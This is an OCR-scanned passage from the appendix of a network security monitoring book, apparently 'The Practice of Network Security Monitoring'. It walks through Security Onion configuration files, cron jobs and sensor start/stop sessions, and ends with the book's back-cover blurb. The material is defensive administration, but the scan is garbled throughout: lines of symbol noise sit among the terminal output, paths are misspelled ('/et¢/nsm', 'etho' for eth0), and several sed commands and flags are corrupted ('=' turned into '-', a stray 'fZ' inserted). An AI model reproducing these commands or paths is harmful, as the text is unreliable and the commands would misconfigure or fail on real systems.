(such as Snort and Suricata, PRADS, and Netsniff-ng) will need to be 
restarted for the change to take effect. 


/etc/nsm/securityonion/ 


The /etc/nsm/securityonion/ directory contains the following Sguil server 
(sguild) configuration files: 


autocat.conf Used to configure Sguil to automatically categorize 
certain events. 


certs Contains the files used to secure communications between the 
Sguil server (sguild) and its agents and clients. 


server.conf Contains some general settings used to start sguild and 
should not need to be modified. 


sguild.access Used to control access to sguild. 


sguild.conf Contains general settings for sguild and probably doesn't 
need to be changed. 


sguild.email Allows you to configure Sguil to automatically send email 
when certain events occur. 


sguild.queries Contains queries that can be accessed from the Sguil 
client by selecting Query > Standard Queries. 


sguild.users This file should not be modified. 


/etc/nsm/securityonion.conf 


The /etc/nsm/securityonion.conf file contains the IDS_ENGINE, DAYSTOKEEP, and 
ELSA settings, which let you change the intrusion detection system (IDS) 
engine, the amount of time data is kept in the Sguil database, and whether 
ELSA is enabled, respectively. 

If you run the setup wizard and select Quick Setup, SO will default to 
using Snort as the IDS engine. If you choose Advanced Setup, SO will ask if 
you want to run Snort or Suricata. In either case, the setup wizard will set 
the IDS_ENGINE variable. If you later decide to change your IDS engine, you 
can stop all sensor processes, change the IDS_ENGINE setting, execute rule- 
update, and then restart all sensor processes. 

For example, suppose you ran the Quick Setup, giving you the default 
of Snort. If you want to try Suricata, do the following: 





$ sudo nsm_sensor_ps-stop 


Stopping: HIDS 


* stopping: ossec_agent (sguil) [ OK ] 
Stopping: Bro 
waiting for lock ........ ok 


stopping bro ... 


Stopping: securityonion-eth1 

* stopping: netsniff-ng (full packet data) 
stopping: pcap agent (sguil) 
stopping: snort agent-1 (sguil) 
stopping: snort-1 (alert data) 
stopping: barnyard2-1 (spooler, unified2 format) 
stopping: prads (sessions/assets) 
stopping: sancp agent (sguil) 
stopping: pads agent (sguil) 
stopping: argus 
stopping: http agent (sguil) 


= X4 4X4 X4 X 54* 4X . * 


I—À I— C c c c c ees Be a. 


OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 


m e e e e ea 


$ sudo sed -i 's|ENGINE-snort|ENGINE-suricata|g' /etc/nsm/securityonion.conf 


$ sudo rule-update > /dev/null 
$ sudo nsm_sensor_ps-start 


Starting: HIDS 
* starting: ossec_agent (sguil) 
Starting: Bro 
starting bro ... 
Starting: securityonion-eth1 
* starting: netsniff-ng (full packet data) 
starting: pcap_agent (sguil) 
starting: snort_agent (sguil) 
starting: suricata (alert data) 
starting: barnyard2 (spooler, unified2 format) 
starting: prads (sessions/assets) 
starting: pads_agent (sguil) 
starting: sancp_agent (sguil) 
starting: argus 
starting: http_agent (sguil) 
disk space currently at 26% 


3S 3 3 FF € BOR HR OX 


I—À Nes ——À c c c c c cc 


OK 


OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 


LL La c LL LL uL uL Lua 





The DAYSTOKEEP variable allows you to define the retention policy for the 
Sguil database. A daily cronjob deletes any data in securityonion db older than 


$DAYSTOKEEP. The default is 365. 


The ELSA variable is set when the setup wizard asks if you want to 


enable ELSA. 


/et¢/nsm/sensortab 


If the box is configured to monitor interfaces, this file contains the list of 
interfaces to be monitored. To disable the sniffing processes on an interface, 
you can temporarily stop interfaces as follows (replacing HOSTNAME- INTERFACE 


with your actual hostname and interface name): 





sudo nsm sensor ps-stop --sensor-name-HOSTNAME- INTERFACE 
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To disable an interface permanently, comment out the relevant line in 
/etc/nsm/sensortab. For example, suppose you ran the Quick Setup and were 
monitoring eth1, but then decided to move the sensor components off to a 
separate box, making this just a server and not a sensor. 





$ sudo nsm sensor ps-stop --sensor-name-securityonion-ethi 


Stopping: HIDS 
* stopping: ossec agent (sguil) [ OK 

Stopping: Bro 

stopping bro ... 

Stopping: securityonion-eth1 
* 





stopping: netsniff-ng (full packet data) [ OK 
* stopping: pcap agent (sguil) [ OK 
* stopping: snort agent-1 (sguil) [ OK 
* stopping: snort-1 (alert data) [ OK 
* stopping: barnyard2-1 (spooler, unified2 format) [ OK 
* stopping: prads (sessions/assets) [ OK 
* stopping: sancp agent (sguil) [ OK 
* stopping: pads agent (sguil) [ OK 
* stopping: argus [ OK 
* stopping: http agent (sguil) [ OK 


$ sudo sed -i 's|securityonion-eth1|fZsecurityonion-ethi|g' /etc/nsm/sensortab 
$ sudo service nsm status 


Status: securityonion 
* sguil server [ OK 


e La La Lc uu uuu 





/etc/nsm/servertab 


If the box is configured as a server, the /etc/nsm/servertab file contains the 
internal name of the server (securityonion). 


/etc/nsm/templates/ 


The /etc/nsm/templates/ directory contains template files for barnyard2, 
http_agent, prads, pulledpork, snort, and suricata. The setup wizard copies the 
template files from these directories into the target directories and custom- 
izes them using the choices you made during setup. You shouldn’t modify 
these files. 
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/etc/nsm/SHOSTNAME-SINTERFACE/ 


You'll have an /etc/nsm/$HOSTNAME -$INTERFACE/ directory for each interface that 
you choose to monitor. For example, suppose your hostname is securityonion 
and you have a quad-port network interface card (etho, eth1, eth2, and eth3), 
but you choose to monitor only eth1 and eth2. You will have the following 
sensor configuration directories: 





/etc/nsm/securityonion-ethi/ 
/etc/nsm/securityonion-eth2/ 





Let's look at the files in each of these directories. 


barnyard2.conf 


The barnyard2.conf file configures barnyard2, the process used to pick up 
unified2 output from Snort or Suricata and insert the alerts into Sguil, 
Snorby, or ELSA. There may be multiple barnyard2.conf files to handle 
multiple instances of Snort. 

You generally don't need to modify this file unless you decide to add or 
remove some of the outputs. For example, you might decide to stop sending 
IDS alerts to ELSA, and forward them to a corporate security information 
event management platform instead. 


bpf.conf files 


A global configuration file called bpf.conf'at /etc/nsm/rules/bpf.conf applies 

to all processes on all interfaces by default. Each process on each interface 
has its own .bpffile, but by default, the per-process .bpf files are symlinked to 
the interface bpf, and the interface bpf is symlinked to the global bpf.conf, as 
shown here: 





lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-bro.conf -» bpf.conf 
lrwxrwxrwx 1 root root 23 Feb 18 16:16 bpf.conf -» /etc/nsm/rules/bpf.conf 
lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-ids.conf -» bpf.conf 
lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-pcap.conf -» bpf.conf 
lrwxrwxrwx 1 root root 8 Feb 18 16:16 bpf-prads.conf -» bpf.conf 





To specify a bpf per-interface or per-process, simply replace the default 
symlinks with the desired bpf files and restart services as necessary. 


SO Scripts and Configuration 327 


328 


Appendix 


http. agent.conf 


http agent sends Bro HTTP logs into the Sguil database, and hitp_agent.conf 
allows you to configure which HTTP logs are included. For example, you 
may want to exclude high-traffic sites that your users normally visit in order 
to avoid bloating the Sguil database. 

If you're running ELSA, you may want to disable http agent altogether to 
prevent duplication of effort, since all Bro HTTP logs can be found in ELSA. 


pads agent.conf 


The pads_agent.conf file configures pads agent, which takes asset data from 
PRADS and inserts it into Sguil. You generally don’t need to change any- 
thing here. 


pcap_agent.conf 


The pcap_agent.conf file configures the pcap agent, which allows the Sguil 
server to request a pcap from the sensor's pcap store. You probably won't 
need to change anything here. 


prads.conf 


The prads.conffile configures PRADS, a replacement for PADS and SANCP. 

PRADS creates both asset data and session data. If you're monitoring 
anything other than RFC 1918 address ranges, update the home nets variable 
in this file. 


sancp_agent.conf 


The sancp_agent.conf file configures the sancp agent, which takes session data 
from PRADS and inserts it into Sguil. You probably won’t need to change 
anything here. 


sensor.conf 


The sensor.conf file contains a few different variables referenced by the NSM 
scripts when starting processes. Most settings should remain at their default, 
but you may need to tune IDS LB PROCS, which controls how many PF RING 
load-balanced processes are instantiated for Snort and Suricata. The setup 
wizard will automatically ask you how many PF RING instances you would like 
for Snort or Suricata and Bro (assuming you choose Advanced Setup and 
you have multiple cores). 

If you need to adjust this setting after setup, stop the NSM processes, 
modify the IDS LB PROCS variable in sensor.conf, and then restart the NSM pro- 
cesses. If you're running Snort, the script automatically spawns $IDS LB PROCS 
instances of Snort (using PF. RING), barnyard2, and snort agent. If you're run- 
ning Suricata, the script automatically copies $IDS LB PROCS into suricata 


.yaml, and then Suricata spins up the PF RING instances itself. Since Suricata 
is managing the PF RING instances, it creates only one unified2 output, and 
therefore only one instance of barnyard2 and snort agent are needed. 
In the following example, we start with the default of IDS LB PROCS-1, 
increase the setting to 2, and then restart the NSM processes. Notice that we 
end up with two snort processes, two snort agent processes, and two barnyard2 


processes. 
$ sudo nsm sen 
Stopping: HIDS 


* stopping: 
Stopping: Bro 


sor ps-stop 


ossec agent (sguil) 


stopping bro ... 


Stopping: secu 
* stopping: 
stopping: 
stopping: 
stopping: 
stopping: 
stopping: 
stopping: 
stopping: 
stopping: 
stopping: 


w GO dPOO* ER UE OO 


rityonion-eth1 

netsniff-ng (full packet data) 
pcap_agent (sguil) 
snort_agent-1 (sguil) 

snort-1 (alert data) 
barnyard2-1 (spooler, unified2 format) 
prads (sessions/assets) 
sancp_agent (sguil) 

pads agent (sguil) 

argus 

http_agent (sguil) 


[ 
[ 
[ 
[ 
[ 
[ 
[ 
[ 
[ 
[ 


OK 


OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 
OK 


LL LL La La La uL uua 


$ sudo sed -i 's|IDS LB PROCS-1|IDS LB PROCS-2|g' /etc/nsm/securityonion-eth1/ 


sensor.conf 
$ sudo nsm sen 


Starting: HIDS 


Sor ps-start 





* starting: ossec agent (sguil) [ OK ] 

Starting: Bro 

starting bro ... 

Starting: securityonion-eth1 
* starting: netsniff-ng (full packet data) [ OK ] 
* starting: pcap agent (sguil) [ OK ] 
* starting: snort agent-1 (sguil) [ OK ] 
* starting: snort agent-2 (sguil) [ OK ] 
* starting: snort-1 (alert data) [ OK ] 
* starting: snort-2 (alert data) [ OK ] 
* starting: barnyard2-1 (spooler, unified2 format) [ OK ] 
* starting: barnyard2-2 (spooler, unified2 format) [ OK ] 
* starting: prads (sessions/assets) [ OK ] 
* starting: pads agent (sguil) [ OK ] 
* starting: sancp agent (sguil) [ OK ] 
* starting: argus [ OK ] 
* starting: http agent (sguil) [ OK ] 
* disk space currently at 26% 
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Appendix 


As a sidenote, if you want to change the number of load-balanced pro- 
cesses for Bro, edit /opt/bro/etc/node.cfz and change the 1b procs variable, 
and then issue the following commands: 


sudo broctl install 
sudo broctl restart 





snort agent.conf 


The snort_agent.conf file configures the snort agent, which takes alerts from 
barnyard2 and inserts them into the Sguil database. You probably don't need 
to change anything here. 

There may be multiple snort_agent.conf files to handle multiple instances 
of Snort. 


snort.conf 


The snort.conffile configures Snort. Even if you've set IDS LB PROCS greater 
than 1, there will be only one snort.conf file, to ensure that Snort instances 
on the same interface are configured identically. 


suricata.yaml 


The suricata.yaml file configures Suricata. The NSM scripts copy $IDS LB PROCS 
from sensor.conf into suricata.yaml, and then Suricata spins up the PF RING 
instances itself. 


/et¢/cron.d/ 


The /etc/cron.d/ directory contains some important cronjobs, so let’s look at 
each of these. 


bro This cronjob runs the recommended broct1 cron every five minutes 
to ensure that Bro is running properly. 


elsa This cronjob runs the default ELSA cronjob every minute. 


nsm-watchdog This cronjob checks the NSM sensor processes every five 
minutes, and restarts them if they have failed. 


rule-update This cronjob runs rule-update at 7:01 AM Universal Coordinated 
Time (UTC). If the NSM box is a stand-alone or server, rule-update will 
use PulledPork to download a new IDS ruleset from the Internet. If the 
box is a sensor, it will wait a few minutes for the server download to com- 
plete, and then use scp to copy the new IDS ruleset from the server to the 
local sensor. This script also copies tuning files such as threshold.confand 
bpf.conf, allowing you to make changes in one place (your central server) 
that will apply to all of your distributed sensors automatically. 


sensor-clean This is an hourly cronjob that prevents full packet capture 
and other logfiles from filling your disk. If disk usage is above 90 per- 
cent, the oldest day's worth of NSM data (pcaps, Bro logs, and so on) 
are deleted. This is repeated until the disk usage is below 90 percent. 
sensor-newday ‘This daily cronjob runs at midnight to restart any services 
that may be dealing with date-based output and need to roll to a new 
date stamp. 

sguil-db-purge This daily cronjob runs at 5:01 AM UTC and performs 
database maintenance, including deleting any data older than $DAYSTOKEEP 
(as defined in /etc/nsm/securityonion.conf) and repairing any corrupted 
MySQL tables. 

squert-ip2c This cronjob updates Squert's IP-to-country (GeoIP) 


mappings. 


Bro 


Bro is installed in /opt/bro/ and its configuration files can be found in 


/opt/bro/etc/. 


CapMe 


CapMe is a PHP-based web interface used to pull ASCII transcripts of TCP 
sessions. Its PHP scripts and other resource files can be found in /var/www/ 
capme/. Generally, these files do not need to be modified. 


ELSA 


ELSA's core files can be found in /opt/elsa/. Generally, you may need to 
modify settings in its two main configuration files: 


/etc/elsa_web.conf This file configures the Apache web frontend of 
ELSA. It will be present if you chose a stand-alone or server installation 
and chose to enable ELSA. 

/etc/elsa node.conf This file configures the log node backend of ELSA. 
It will be present if you chose a stand-alone or sensor installation and 
enabled ELSA. 


Squert 


Squert is a web interface for the Sguil database written in PHP. The PHP 
scripts and other resource files can be found in /var/www/squert/. You gen- 
erally don't need to modify anything in this directory. 
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Snorby 


Snorby is a web interface for IDS alerts written using Ruby on Rails. Its 
scripts and other resource files can be found in /opt/snorby/. Configuration 
files can be found in /opt/snorby/config/. 


Syslog-ng 
Syslog-ng is used by ELSA, and its configuration files can be found in 
/elc/syslog-ng/. 


/etc/network/interfaces 


The /etc/network/interfaces file configures your network interfaces. The 
setup wizard will automatically configure this file for you if you choose 
Yes, configure /etc/network/interfaces. 

You'll want a management interface (preferably connected to a dedi- 
cated management network) using either DHCP or preferably static IP. If 
your management interface uses DHCP and you have Bro in cluster mode, 
it will complain whenever your DHCP address changes, and you'll need 
to update your IP address in Bro's node.cfg file. A static IP is highly recom- 
mended to prevent this problem. 

You'll want one or more interfaces dedicated to sniffing, with no 
IP addresses. Network interface card offloading functions such as tso, 
gso, and gro should be disabled to ensure that Snort and Suricata get an 
accurate view of the traffic (see http://securityonion.blogspot.com/2011/10/ 
when-is-full-packet-capture-not-full. html) . 

The following are some sample network/interfaces entries. 





auto lo 
iface lo inet loopback 


# Management interface using DHCP (not recommended due to Bro issue described above) 
auto etho 
iface etho inet dhcp 


# OR 


# Management interface using STATIC IP (instead of DHCP) 
auto etho 
iface etho inet static 
address 192.168.1.14 
gateway 192.168.1.1 
netmask 255.255.255.0 
network 192.168.1.0 
broadcast 192.168.1.255 
dns-nameservers 192.168.1.1 192.168.1.2 


# AND one or more of the following 
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# Connected to TAP or SPAN port for traffic monitoring 
auto ethi 
iface ethi inet manual 
up ifconfig $IFACE -arp up 
up ip link set $IFACE promisc on 
down ip link set $IFACE promisc off 
down ifconfig $IFACE down 
post-up for i in rx tx sg tso ufo gso gro lro; do ethtool -K $IFACE $i off; done 
post-up echo 1 > /proc/sys/net/ipv6/conf/$IFACE/disable ipv6 
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Network security is not simply about building impene- 
trable walls —determined attackers will eventually over- 
come traditional defenses. The most effective computer 
security strategies integrate network security monitoring 
(NSM): the collection and analysis of data to help you 
detect and respond to intrusions. 


In The Practice of Network Security Monitoring, 
FireEye strategist Richard Bejtlich shows you how to 
use NSM to add a robust layer of protection around 
your networks—no prior experience required. To help 
you avoid costly and inflexible solutions, he teaches you 
how to deploy, build, and run an NSM operation using 
open source software and vendor-neutral tools. 


You'll learn how to: 


* Determine where to deploy NSM platforms, and 
size them for the monitored networks 


* Deploy stand-alone or distributed NSM installations 


* Use command line and graphical packet analysis 
tools and NSM consoles 
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* Interpret network evidence from server-side and 
clientside intrusions 


* Integrate threat intelligence into NSM software to 
identify sophisticated adversaries 


There's no foolproof way to keep attackers out of 

your network. But when they get in, you'll be prepared. 
The Practice of Network Security Monitoring will show 
you how to build a security net to detect, contain, and 
control them. Attacks are inevitable, but losing sensitive 
data shouldn't be. 
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